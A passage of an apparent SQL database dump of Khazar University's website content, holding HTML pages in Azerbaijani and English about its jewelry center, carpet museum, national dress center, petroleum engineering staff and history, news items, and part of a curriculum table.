olmuşdur.&nbsp;1992-ci ildə Azərbaycan respublikasının ərazi bütövlüyü uğrunda gedən döyüşlərdə iştrak etmişdir.&nbsp;1988-90-cı illərdə Moskva şəhərində keçirilən Beynəlxalq Musiqi festivallarında xüsusi mükafata layiq görülmüşdür.Azərbaycan Dövlət Xalq Çalğı Alətləri Orkestrinin tərkibində çalışdığı illərdə bir çox beynəlxalq festival və müsabiqələrin iştrakçısı olmuşdur.Fransa,Belarusiya,Moldova,Ukraina,İran İslam Respublikası, Tacikistan kimi ölkələrdə Azərbaycan mədəniyyəti günlərində iştrak etmişdir.Hal hazırda Xəzər Universitetinin Kamera ansanblında çalışır.</p><br></div><div><br></div>  <br></div>'),(1094,680,'en','Jewelry Center','Jewelry Center','<div><br></div><div style=\"font-size:medium\"><span style=\"font-family:\'times new roman\', times, serif\">(Information coming soon!)</span>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(1095,680,'az','Zərgərlik Mərkəzi','Zərgərlik Mərkəzi','<div><br></div><div><p>Azərbaycan ərazisində qazıntılar zamanı tapılmış maddi-mədəniyyət nümunələri göstərir ki, əcdadlarımız hələ eramızdan əvvəl II minillikdə tuncdan zərif formalı qablar, xəncərlər, baltalar, kəmərlər və s. zinət şeyləri düzəldib öz həyat və məişətində istifadə edirlərmiş. Bunlar isə misgərlik və zərgərlik kimi sənət növlərinin qədimliyindən xəbər verir.</p><p>Tariximizdə Azərbaycan xalqının yüksək maddi mədəniyyətə malik olduqlarını sübut edən əsaslı dəlillər var. Belə ki, gümüşdən, misdən, tuncdan, qızıldan düzəldilmiş ev avadanlığının və zinət əşyalarının üzərinə həkk olunmuş müxtəlif rəsmlər Azərbaycanda hələ qədim zamanlarda təsviri sənətin mövcud olduğunu sübut edir. Bu maddı irsi yaşatmaq və gənclərə aşılamaq uçun universitetdə 2007-ci ildə Zərgərlik Mərkəzi fəaliyyətə başlamışdır. Mərkəzin zərgərlik işinə&nbsp; fərqli yanaşması ondan ibarətdir ki, burada hər şey əl işi, göz nuru ilə hazırlanır.</p><p>Mərkəz- Azərbaycan xalqının bədii təfəkkür və yaradıcılığını yaşatmaq və inkişaf etdirmək məqsədilə yaradılıb və bu yolda xeyli ugurlar qazanmışdır.&nbsp;</p><p>Zərgərlik kursunda tələbələr dekorativ sənət üzrə işləyən rəssam və ustaların əl işləri ilə tanış olur, həmçinin gələcək yaradıcılıq fəaliyyətində çox əhəmiyyətli olan metalın bədii emalında istifadə olunan son texnaloji nailiyyətlərinə yiyələnirlər. Zərgərlik sahəsini öyrənən tələbələr təkcə metal deyil həm də iş prinsipində istifadə olunan digər material və alətləri də tanımalıdırlar. Mərhələ-mərhələ keçdikləri , gördükləri ən yeni texnalogiyalar,hər yeni üslub gələcəkdə onların fikirlərini daha da formalaşdırır, estetik zövqlərini zənginləşdirir.</p><p>Xəzər Universiteti zərgərlik mərkəzi həm də kredit qazanmaq məqsədi ilə zərgərlik sənətini seçmə kurs kimi götürən tələbələr üçün emalatxanadır. Daha çox gümüş üzərində işlər görülən mərkəzdə artıq xeyli sayda əl işləri toplanıb.</p><p>Zərgərlik mərkəzinə peşəkar zərgər rəhbərlik edir.&nbsp;</p>  <div><br></div><br></div><div><br></div><div><br></div><div><p style=\"text-align:center\"><span class=\"apple-converted-space\"><strong><em class=\"<img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media3275551083710262\" width=\"150\" height=\"100\">Zərgərlik</em></strong></span></p><p>Azərbaycan ərazisində qazıntılar zamanı tapılmış maddi-mədəniyyət\r\nnümunələri göstərir ki, əcdadlarımız hələ eramızdan əvvəl II minillikdə tuncdan\r\nzərif formalı qablar, xəncərlər, baltalar, kəmərlər və s. zinət şeyləri\r\ndüzəldib öz həyat və məişətində istifadə edirlərmiş. Bunlar isə misgərlik və\r\nzərgərlik kimi sənət növlərinin qədimliyindən xəbər verir.</p>\r\n<p>Tariximizdə Azərbaycan xalqının yüksək maddi\r\nmədəniyyətə malik olduqlarını sübut edən əsaslı dəlillər var. Belə ki, gümüşdən,\r\nmisdən, tuncdan, qızıldan düzəldilmiş ev avadanlığının və zinət əşyalarının\r\nüzərinə həkk olunmuş müxtəlif rəsmlər Azərbaycanda hələ qədim zamanlarda\r\ntəsviri sənətin mövcud olduğunu sübut edir. Bu maddı irsi yaşatmaq və gənclərə\r\naşılamaq uçun universitetdə 2007-ci ildə Zərgərlik\r\nMərkəzi fəaliyyətə başlamışdır. Mərkəzin zərgərlik işinə&nbsp; fərqli yanaşması ondan ibarətdir ki, burada\r\nhər şey əl işi, göz nuru ilə hazırlanır. </p>\r\n<p>Mərkəz- Azərbaycan\r\nxalqının bədii təfəkkür və yaradıcılığını yaşatmaq və inkişaf etdirmək\r\nməqsədilə yaradılıb və bu yolda xeyli ugurlar qazanmışdır.&nbsp; </p>\r\n<p>Zərgərlik\r\nkursunda tələbələr dekorativ sənət üzrə işləyən rəssam və ustaların əl işləri\r\nilə tanış olur, həmçinin gələcək yaradıcılıq fəaliyyətində çox əhəmiyyətli olan\r\nmetalın bədii emalında istifadə olunan son texnaloji nailiyyətlərinə\r\nyiyələnirlər. Zərgərlik sahəsini öyrənən tələbələr təkcə metal deyil həm də iş\r\nprinsipində istifadə olunan digər material və alətləri də tanımalıdırlar. Mərhələ-mərhələ\r\nkeçdikləri , gördükləri ən yeni texnalogiyalar,hər yeni üslub gələcəkdə onların\r\nfikirlərini daha da formalaşdırır, estetik zövqlərini zənginləşdirir.</p>\r\n<p>Xəzər\r\nUniversiteti zərgərlik mərkəzi həm də kredit qazanmaq məqsədi ilə zərgərlik\r\nsənətini seçmə kurs kimi götürən tələbələr üçün emalatxanadır. Daha çox gümüş\r\nüzərində işlər görülən mərkəzdə artıq xeyli sayda əl işləri toplanıb.</p>\r\n<p>Zərgərlik\r\nmərkəzinə peşəkar zərgər rəhbərlik edir.&nbsp;</p>  <p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p>  <br></div>'),(1096,690,'en',' Carpet Museum',' Carpet Museum','<div><br></div><div style=\"font-size:medium\"><span style=\"font-family:\'times new roman\', times, serif\">(Information coming soon!)</span>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(1097,690,'az','Xalça muzeyi','Xalça muzeyi','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xalçaçılıq işi Azərbaycan xalqının zəngin mənəvi aləmini, dünyagörüşünü əks etdirən sənət əsəridir. Azərbaycan xalqı min illərdir ki, bu sənəti yaşadır, tarıxi yaddaşlara həkk etdirir. &nbsp;Arxeoloji materiallara və yazılı mənbələrə əsasən Azərbaycanda xalçaçılıqla hələ Tunc dövründən (e.ə. II minilliyin sonu - I minilliyin əvvəllərində) məşğul olmuşlar. Azərbaycanda xalçaçılığın inkişafı haqqında Herodot, Klavdi Elian, Ksenofont və başqa qədim dünya tarixçiləri məlumat vermişlər.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Müxtəlif dövrlərdə Azərbaycanın ayrı-ayrı xalçaçılıq məktəblərində (Quba, Bakı, Şirvan, Gəncə, Qazax, Qarabağ, Təbriz) toxunulmuş xalçalar bu günədək öz gözəlliyi ilə insanları valeh edir. Onların bir çoxu dünyanın məşhur muzeylərində mühafizə olunur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycan xalçaları hazırlanma texnalogiyalarına görə xovlu və xovsuz xalçalara bölünürlər. Xovsuz xalçalara palaz,cecim,kilim,zili, varni, sumaq və laddi aiddir. Qədim zamanlarda məişətdə xovsuz xalçalardan hazırlanan məmulatlar daha geniş yayılmışdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xovlu xalçalara isə dəstə-xalı-gəbə,xalça,xalı,gəbə aiddir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Azərbaycan xalçaçılıq sənətinin şedevri sayılan 1539-cu ildə Təbrizdə ( Cənubi Azərbaycan ərazisində, indiki Iranın Şimal-Qərb hissəsində) “Bürünmüş xalı-Şeyx Səfi”(56 kv) hazırda Londonun Viktoriya və Albert muzeyində saxlanılır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">1967- ci ildə Bakida dünyada hal-hazırda məşhur alim-sənətşünas, xalça sənəti üzrə rəssam olan Lətif Kərimovun adını daşıyan ilk xalça muzeyi yaradıldı.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">16 noyabr 2010- cu ildə Azərbaycan Xalçaçılıq&nbsp; sənəti insanların mənəvi-mədəni daşıyıcısı kimi YUNESKO-nun reprezantativ siyahısına salındi. &nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Beləcə, hələ qədim zamanlardan xalça istehsalının mərkəzi hesab edilen Azərbaycanda bu gün də bu ənənə davam etdirilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bu ənənənin ən dəyərli davamçılarından biri olan Xəzər Universitetində Azərbaycan xalqının tarixi dəyərlərini yaşatmaq və gənc nəslə öyrətmək məqsədilə Xalça muzeyi yaradılmışdır. Xalça muzeyi həm muzey, həm də emalatxana kimi fəaliyyət göstərir. Peşəkar sənətkarların rəhbərlik etdiyi bu mərkəzdə toplanaraq qorunan böyük və kiçik ölçülü xalça, eləcə də başqa toxunma əşyalar əsasən, tələbələr tərəfindən hazırlanır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xalça muzeyi artıq bir sıra uğurlara da imza atmışdır. Belə ki, muzeyin əməkdaşları və tələbələri “ Azərbaycan tarixi-memarlıq irsi gənclərin gözü ulə” rəsm layihəsində yeniyetmə və gənclər arasında I yeri tutmuşlar. Xalça Muzeyində hazırda&nbsp; Nizami Gəncəvinin “Xəmsə”si əsasında yüksək sıxlıqlı,sujetli - portret xalça (1.10-2.00 metr) toxunmaqdadır.</p>  <br></div>'),(1098,691,'az','Milli geyim mərkəzi','Milli geyim mərkəzi','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xalqın tarixi ilə möhkəm bağlı olan geyimlər, onun mədəniyyətini öyrənmək üçün qiymətli mənbələrdən biridir. Geyimlər maddi mədəniyyətin bütün başqa ünsürlərindən daha çox xalqın milli xüsusiyyətini əks etdirir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Özünəməxsus geyim tərzi ilə fərqlənən &nbsp;Azərbaycan xalqının da maraqlı geyim üslubu var:</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Çəpkən - çiyinüstü, astarlı və yalançı qollara malik olan qadın üst geyimidir. Bu geyim tirmədən, məxmərdən və bir neçə növ ipək parçalardan tikilirdi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Ləbbadə - çiyinüstü üst gödəkçəsidir. Bu geyim sırıqlı astarda olur, tirmədən, məxmərdən və başqa parçalardan tikilirdi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Güləcə - qadın çiyinüstü üst geyimidir. Bu geyim astarlı olur və tirmədən, məxmərdən tikilirdi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Baharı - sırıqlı astarda qadın çiyinüstü üst geyimidir. Əsasən məxmərdən tikilirdi.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kürdü - qadın üst geyimidir. Bu geyim tirmədən, məxmərdən tikilirdi, xəz dəri və sıx naxışlarla bəzədilirdi.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Eşmək - qadın sırıqlı üst geyimidir, tirmədən və məxmərdən tikilirdi. Bu geyimin yaxası, ətəyi və qolları safsar xəzdərisilə, qızılı şəbəkə torla və şəridlə bəzədilirdi.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qadın bel üst geyimi - bir neçə tumandan, cütbalaqdan və çaxçurdan ibarət idi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Qaba - kişi çiyinüstü üst geyimidir və əsasən tirmədən tikilirdi.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Çuxa - içi tüklü qoyun dərisindən tikilmiş düyməsiz, naxışlı şubadır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">XVII əsrdə yaxın Şərqin ən böyük ipəkçilik ölkəsi kimi tanınan Azərbaycanda&nbsp; Şirvan əyaləti &nbsp;ən iri ipəkçilik rayonu idi. Bu da xalqımızın rəngarəng parça növlərindən hazırlanan geyimlərə üstünlük verməsinə gətirib çıxarmışdı.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xəzər Universitetində yaradılan Milli Geyim Mərkəzi də yuxarıda sadalanan geyim növlərini tələbələrə tanıtmaq, sevdirmək məqsidi ilə yaradılmışdır. Mərkəzdə tələbələrə bu geyimləri öz əlləri ilə hazırlamaq üçün şərait də yaradılmışdır. Belə ki, Mərkəzdə qorunan geyimlərin böyük əksəriyyətini universitetin tələbələri böyük həvəslə “Milli Geyimlər üçün Tikiş Dərnəyi”ndə hazırlamışlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Xalq yaradıcılığının tarixi və etnoqrafik xüsusiyyətlərini bu geyimlərdə əks etdirməyə çalışan tələbələrin hazırladıqları geyimlərlə Xəzər Universitetinin oğlan və qızlardan ibarət rəqs ansambılı bir çox ölkələrdə xalqımızı uğurla təmsil edir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Özünün qədim tarixi, maddi-mədəniyyət abidələri ,incəsənəti ilə fərqlənən Azərbaycan xalqına məxsus sərvəti- &nbsp;milli geyimləri toplayan mərkəz daim zənginləşir, inkişaf edir.</p>  <br></div>'),(1099,691,'en','National Dress Center','National Dress Center','<div><br></div><div style=\"font-size:medium\"><span style=\"font-family:\'times new roman\', times, serif\">(Information coming soon!)</span>  <span style=\"font-family:\'times new roman\', times, serif\"><br></span></div>'),(1100,266,'az','İşçi heyəti','İşçi heyəti','<img src=\"/files/petroleum_depart/gasham-z.jpg\" style=\"float:left;width:150px;height:170px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV-Zeynalov.Gasham(November2017).pdf\">Qəşəm Zeynalov</a></strong>&nbsp;-&nbsp;<strong>Dosent&nbsp;</strong><br></p><p>Neft və\r\nqaz yataqlarının geologiyası, axtarışı və kəşfiyyatı üzrə Fəlsəfə Doktoru (Geologiya və Geofizika İnstitutu, Azərbaycan Milli Elmlər Akademiyası)</p><p>Neft və\r\nqaz yataqlarının geologiyası və&nbsp; kəşfiyyatı\r\nüzrə Magistr (Azərbaycan Dövlət Neft və Sənaye Universiteti)</p><p style=\"padding-left:160px\"><strong>E-mail</strong>:&nbsp;<a href=\"mailto:gzeynalov@khazar.org\">gzeynalov[at]khazar.org</a></p><p style=\"padding-left:160px\"><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (243)</p><hr><img src=\"/files/petroleum_depart/ArazAsadov.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/ArazAsadov-CV.pdf\">Araz Əsədov</a>&nbsp;</strong></p><p>Neft və qaz yataqlarının işlənməsi və istismarı üzrə\r\nFəlsəfə Doktoru Krılov adına Neft\r\nTədqiqatları İnstitutu, Rusiya) </p><p>Neft və qaz yataqlarının işlənməsi və istismarı üzrə\r\nMagistr (Azərbaycan Dövlət Neft və Sənaye Universiteti)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:araz.asadov@khazar.org\">araz.asadov[at]khazar.org</a>  </p><p><br></p><hr><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:21.3pt;text-indent:-21.3pt;background:white\"\"=\"\"><img src=\"/files/petroleum_depart/Izat-Shahsenov.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/engineering/izat_sh_CV(new).pdf\">İzat Şahsenov</a></strong>&nbsp;</p><p>Neft və qaz yataqlarının işlənməsi və istismarı üzrə doktorant&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)</p><p>Tətbiqi Fizika və Riyaziyyat üzrə Magistr (Moskva Fizika və Texnologiya İnstitutu, Rusiya)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:izat.shahsenov@khazar.org\">izat.shahsenov[at]khazar.org</a>  <br></p>  <p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:21.3pt;text-indent:-21.3pt;background:white\"\"=\"\"><br></p><hr><p><a href=\"http://www.khazar.org/files/pdf/CV)_Tahir_Mammadov_2014.pdf\"><strong><img src=\"/files/petroleum_depart/Tahir-Mammadov.jpg\" style=\"float:left;width:150px;height:151px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Tahir Məmmədov</strong></a></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><span style=\"color:#252525\">Neft və qaz yataqlarının işlənməsi\r\nvə istismarı üzrə doktorant (</span><span style=\"color:#252525\">“Neftqazelmitədqiqatlayihə” İnstitutu,&nbsp;</span><span style=\"color:#252525\">SOCAR Azərbaycan</span><span style=\"color:#252525\">)&nbsp;</span></p><p>Enerjinin yeraltı rezervuarları:&nbsp;Geologiya-Modelləşdirmə üzrə magistr (Ecole\r\nNationale Superieure de Geologie,&nbsp;Fransa)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:tahir.mammadov@khazar.org\">tahir.mammadov[at]khazar.org</a>  </p><p><br></p><hr><img src=\"/files/petroleum_depart/SamirVeliyev.jpg\" style=\"float:left;width:150px;height:180px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><a href=\"http://www.khazar.org/files/pdf/Samir_Valiyev_CV.pdf\"><strong>Samir Vəliyev</strong></a></p><p>Neft və qaz\r\nyataqlarının geologiyası və kəşfiyyatı üzrə Doktorant (Azərbaycan Dövlət Neft və\r\nSənaye Universiteti)</p><p>Neft və qaz\r\nyataqlarının geologiyası və kəşfiyyatı üzrə Magistr (Azərbaycan Dövlət Neft və\r\nSənaye Universiteti)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:samir.valiyev@khazar.org\">samir.valiyev[at]khazar.org</a>  </p><p><br></p><hr><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV_mehrizadeh.pdf\"><img src=\"http://www.khazar.org/files/petroleum_depart/MasoudMehrizadeh1.jpg\" style=\"border:0px  #0000ee;float:left;width:150px;height:223px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong>  <p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV_mehrizadeh.pdf\">Məsud Mehrizadə</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV_mehrizadeh.pdf\"></a></strong><span style=\"color:#252525\">Neft Mühəndisliyi üzrə doktorant\r\n(Xəzər Universiteti,&nbsp;Azərbaycan)</span></p><p><span style=\"color:#252525\"></span>Neft Mühəndisliyi üzrə Magistr (Şərif\r\nTexnoloji Universiteti, İran)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mmehrizadeh@khazar.org\">mmehrizadeh[at]khazar.org</a>  </p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Petroleum%20eng/Ehsan%20Jafari.pdf\"><img src=\"/files/engineering/images/ehsan_j.jpg\" style=\"float:left;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Ehsan Jafari Dastgerdi</a></strong></p><p>Neft Mühəndisliyi üzrə doktorant&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)</p><p>Neft Mühəndisliyi üzrə magistr&nbsp;(Sahand Texnologiya&nbsp;Universiteti, İran)  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ehsanjafariengineering@gmail.com\">ehsanjafariengineer[at]gmail.com</a>  </p><p><br></p><p><br></p>  <hr><p><img src=\"/files/petroleum_depart/shahriyar.jpg\" style=\"float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/petroleum_depart/Shahriyar%20Alkhasli.pdf\">Şəhriyar\r\nAlxaslı</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/petroleum_depart/Shahriyar%20Alkhasli.pdf\"></a></strong><span style=\"color:#252525\">Neft və qaz yataqlarının\r\nişlənməsi və istismarı üzrə doktorant&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)</span></p><p><span style=\"color:#252525\"></span>Neft Mühəndisliyi üzrə Magistr\r\n(Tulsa Universiteti, Oklahoma,&nbsp;ABŞ)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:shahriyar.alkhasli@khazar.org\">shahriyar.alkhasli[at]khazar.org</a></p><p><br></p><hr><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><img src=\"http://www.khazar.org/files/petroleum_depart/Elshan_Aliyev_photo.jpg\" style=\"width:150px;height:120px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/petroleum_depart/elshan_Aliyev_cv.pdf\">Elşən Əliyev</a></strong></p><p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;background:white\"\"=\"\"><span style=\"color:#252525\">Neft və qaz yataqlarının\r\nişlənməsi və istismarı üzrə doktorant&nbsp;(Xəzər\r\nUniversiteti,&nbsp;Azərbaycan)</span></p><p>Neft\r\nMühəndisliyi üzrə Magistr (Colorado School of Mines, ABŞ)</p>  <p style=\"padding-left:160px\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:aliyev.elshan@hotmail.com\">aliyev.elshan[at]hotmail.com</a></p><hr><p><img src=\"/files/petroleum_depart/Images/Vafa-Ahmadzada.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/petroleum_depart/CV/Ahmadzada_Vafa.pdf\">Vəfa Əhmədzadə</a></strong></p><p>Neft Mühəndisliyi üzrə Magistr (Imperial College London, UK)</p><p><strong>E-mail:</strong> <a href=\"mailto:vafa.ahmadzada@gmail.com\">vafa.ahmadzada[at]gmail.com</a>   <br></p><p><br></p><p><br></p>'),(3272,1922,'en','Model UN Conference at Dunya School','On February 11-12, 2017, Dunya School Model UN Conference was held in Khazar University’s affiliate Dunya School. The conference was jointly organized by Dunya School Student...','<p><span class=\"gmail-50f4 <img src=\" http:=\"\" www.khazar.org=\"\" tmp=\"\" mfe=\"\" assets=\"\" 351bd86c=\"\" elrte=\"\" images=\"\" pixel.gif\"=\"\" title=\"\" rel=\"media18752990368688938\" width=\"150\" height=\"100\">On February 11-12, 2017, Dunya School Model UN Conference was held in Khazar University’s affiliate Dunya School. The conference was jointly organized by Dunya School Student Union and “Azəri Yurdu” Youth Public Union. The aim of the conference was to help students shape diplomatic point of view and develop communication and leadership skills. The conference consisted of three committees: 1. UN General Assembly; 2. UN Security Council; 3. UN Economic and Social Council. The conference topics included “Anti-terrorist activities”, “Security Situation in Turkey”, “International Migration and its Impact on Economic Development”.</span></p><p>On February 12, 2017, the closing ceremony of the conference was held. Professor Hamlet Isaxanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, made a speech and shared his opinion about the conference. Participants of the conference were awarded with certificates.</p><p>Nailakhanim Isayeva, co-founder of Khazar University\'s affiliate Dunya School and Advisor to the Board of Directors and Trustees for Humanitarian and Organizational Affairs, also participated at the conference.&nbsp;</p>'),(1882,1158,'az','Xəzər Universitetinin rəhbərliyi “Kaspi”də oldu','2016-cı il mayın 27-də Xəzər Universitetinin rektoru Dr.Hasan Niknafs, Tədris İşləri üzrə prorektor professor Məhəmməd Nuriyev və İctimai əlaqələr və media üzrə direktor Əlövsət Əmirbəyli “Kaspi” Təhsil Şirkətində oldular. ','<p>2016-cı il mayın 27-də Xəzər\r\nUniversitetinin rektoru Dr.Hasan\r\nNiknafs, Tədris İşləri üzrə prorektor professor Məhəmməd Nuriyev və İctimai əlaqələr\r\nvə media üzrə direktor Əlövsət Əmirbəyli “Kaspi” Təhsil Şirkətində oldular. Xəzər\r\nUniversitetindən gələn qonaqları şirkətinin direktoru Elnur Əliyev, müavini Əli\r\nİsgəndərov, “Kaspi” məktəbinin direktoru Tural Əliyev və digərləri\r\nqarşıladılar. H.Niknafs Xəzər Universiteti haqqında şirkətin rəhbərliyinə məlumat\r\nverdi. “Kaspi” Təhsil Şirkətinin direktoru Elnur Əliyev də şirkət, onun iş\r\nprinsipləri, gələcəkdə görmək istədiyi işlər haqqında geniş məlumat verdi və əyani\r\nolaraq “Kaspi” məktəbi ilə də tanış etdi. </p>\r\n<p>Gələcəkdə birgə əməkdaşlıq məsələləri\r\nmüzakirə edildi.</p>'),(1101,267,'az','Tarixi','Tarixi','<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">Neft və Qaz Mühəndisliyi Departamenti\r\n1991-ci ildə yaradılmışdır. Аzərbаycаn çох zəngin və qədim tаriхi ənənələrə\r\nmаlik böyük nеft sənаyеsi оlаn ölkədir. Departamentin yaradılmasında əsas\r\nməqsəd neft və qaz resurslarına olan&nbsp;təlabatın artması və\r\nhəmin resursların axtarışı və mənimsənilməsini daha effektiv və səmərəli həyata\r\nkeçirmək üçün neft sənayesini müasir və yüksək ixtisaslı mühəndis kadrlarla\r\ntəmin etməkdir. Deptamentin əsas vəzifəsi - neft və qaz yataqlarının\r\naxtarışı, qazılması, işlənməsi və istismarında innovativ texnologiyaları tətbiq\r\nedə bilən, öz bilik və bacarıqlarını effektiv istifadə edə bilən yüksək\r\nixtisaslı peşəkar neft mühəndisləri hazırlamaqdır.</p>\r\n<p>Departament\r\ntəhsilin inkişaf etdirilməsi və tələbələrin sənaye müəssisəlrində&nbsp;təcrübə keçməsi ilə əlaqədar transmilli və\r\nmilli neft və qaz şirkətləri (BP, Sclumberger, Halliburton, Baker Hughes, Bos\r\nShelf, SOCAR, SOCAR-AQS, Bahar Energy və s.) ilə yaxından əməkdaşlıq edir.</p>\r\n<p>Bu əməkdaşlığın daha&nbsp;da inkişaf etdirilməsi məqsədi ilə departament&nbsp;əlaçı tələbələr üçün BP və SOCAR şirkətlərindən\r\ntəqaüdlərinin alınması istiqamətində davamlı tədbirlər həyata keçirir. Malliyə\r\ndəstəyindən başqa, departamentin tələbələri BP, SOCAR, Halliburton, Baker\r\nHughes, Bos Shelf, Bahar Energy və s. şirkətlərdə&nbsp;fərdi və kütləvi şəkildə neft və qaz mədənlərində\r\nvə&nbsp;platformalarda təcrübə keçirlər.</p>\r\n<p>Departamentin professor-müəllim heyyəti və tələbələri&nbsp;Neft Mühəndisləri Cəmiyyətinin (SPE) və\r\nAvropa Yer alimləri və Mühəndisləri&nbsp;Cəmiyyətinin\r\n(EAGE) aktiv üzvləridirlər. Bu professional cəmiyyətlərin təşkil etdiyi\r\nkonfrans, seminar&nbsp;və digər tədbirlərində\r\ndepartamentin istər professor-müəllim heyyəti və istərsə də tələbələri&nbsp;məruzə və təqdimatlarla aktiv iştirak etməklə\r\nöz bilik və bacarıqlarını daha zənginləşdirirlər.</p>'),(1102,271,'az','Kurikulum','Kurikulum','<h3 style=\"text-align:center\">PETROLEUM ENGINEERING B.S. Program</h3><div><br></div><table cellpadding=\"0\" cellspacing=\"0\" width=\"886\" style=\"\" border-collapse:collapse;width:665pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody>\r\n <tr id=\"zebra\" height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>1<sup>st&nbsp;</sup>Year</strong></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\" style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"258\" style=\"font-size:large\"><strong>Fall Semester</strong></td>\r\n  <td width=\"59\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n  <td style=\"font-size:large\"><strong>&nbsp;</strong></td>\r\n  <td style=\"font-size:large\"><strong>CODE</strong></td>\r\n  <td width=\"234\" style=\"font-size:large\"><strong>Spring Semester</strong></td>\r\n  <td width=\"53\" style=\"font-size:large\"><strong>KU</strong></td>\r\n  <td style=\"font-size:large\"><strong>ECTS</strong></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">AZLL 101</td>\r\n  <td width=\"258\">Azerbaijan\r\n  Language&nbsp;</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150</td>\r\n  <td width=\"234\">Azerbaijan\r\n  History&nbsp;</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">MATH 101</td>\r\n  <td width=\"258\">Calculus_I</td>\r\n  <td width=\"59\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MATH 102</td>\r\n  <td width=\"234\">Calculus_II</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">CHEM 111</td>\r\n  <td width=\"258\">Chemistry_I</td>\r\n  